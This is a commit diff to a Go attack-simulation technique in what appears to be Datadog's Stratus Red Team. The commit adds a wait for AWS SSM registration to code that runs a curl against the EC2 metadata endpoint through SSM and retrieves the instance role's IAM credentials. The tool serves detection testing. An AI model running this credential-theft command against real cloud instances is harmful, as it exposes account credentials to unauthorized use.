ec2-steal-instance-credentials: Ensure instance is registered in SSM (c…

…loses #108)

internal/attacktechniques/aws/credential-access/ec2-steal-instance-credentials/main.go

@@ -8,6 +8,7 @@ import (
 	"github.com/aws/aws-sdk-go-v2/aws"
 	"github.com/aws/aws-sdk-go-v2/service/ec2"
 	"github.com/aws/aws-sdk-go-v2/service/ssm"
+	"github.com/aws/aws-sdk-go-v2/service/ssm/types"
 	"github.com/aws/aws-sdk-go-v2/service/sts"
 	"github.com/datadog/stratus-red-team/internal/providers"
 	"github.com/datadog/stratus-red-team/internal/utils"
@@ -61,10 +62,13 @@ func detonate(params map[string]string) error {
 	instanceId := params["instance_id"]
 	instanceRoleName := params["instance_role_name"]
 
+	if err := waitForInstanceToRegisterInSSM(ssmClient, instanceId); err != nil {
+		return err
+	}
+
 	command := "curl 169.254.169.254/latest/meta-data/iam/security-credentials/" + instanceRoleName + "/"
 
 	log.Println("Running command through SSM on " + instanceId + ": " + command)
-
 	result, err := ssmClient.SendCommand(context.Background(), &ssm.SendCommandInput{
 		DocumentName: aws.String("AWS-RunShellScript"),
 		InstanceIds:  []string{instanceId},
@@ -75,6 +79,7 @@ func detonate(params map[string]string) error {
 	if err != nil {
 		return errors.New("unable to send SSM command to instance: " + err.Error())
 	}
+
 	commandResult, err := ssm.NewCommandExecutedWaiter(ssmClient).WaitForOutput(context.Background(), &ssm.GetCommandInvocationInput{
 		CommandId:  result.Command.CommandId,
 		InstanceId: &instanceId,
@@ -113,3 +118,31 @@ func detonate(params map[string]string) error {
 	}
 	return nil
 }
+
+// waitForInstanceToRegisterInSSM waits for an instance to be registered in SSM
+// may be slow (60+ seconds)
+func waitForInstanceToRegisterInSSM(ssmClient *ssm.Client, instanceId string) error {
+	log.Println("Waiting for instance " + instanceId + " to show up in AWS SSM")
+	for {
+		result, err := ssmClient.DescribeInstanceInformation(context.Background(), &ssm.DescribeInstanceInformationInput{
+			Filters: []types.InstanceInformationStringFilter{
+				{Key: aws.String("InstanceIds"), Values: []string{instanceId}},
+			},
+		})
+
+		if err != nil {
+			return err
+		}
+
+		// When the instance isn't registered in SSM yet, it returns an empty array
+		// If the result we get back contains 1 instance and it has the right status,
+		// we're good to go!
+		instances := result.InstanceInformationList
+		if len(instances) == 1 && instances[0].PingStatus == types.PingStatusOnline {
+			log.Println("Instance " + instanceId + " is ready to go in SSM")
+			return nil
+		}
+
+		time.Sleep(1 * time.Second)
+	}
+}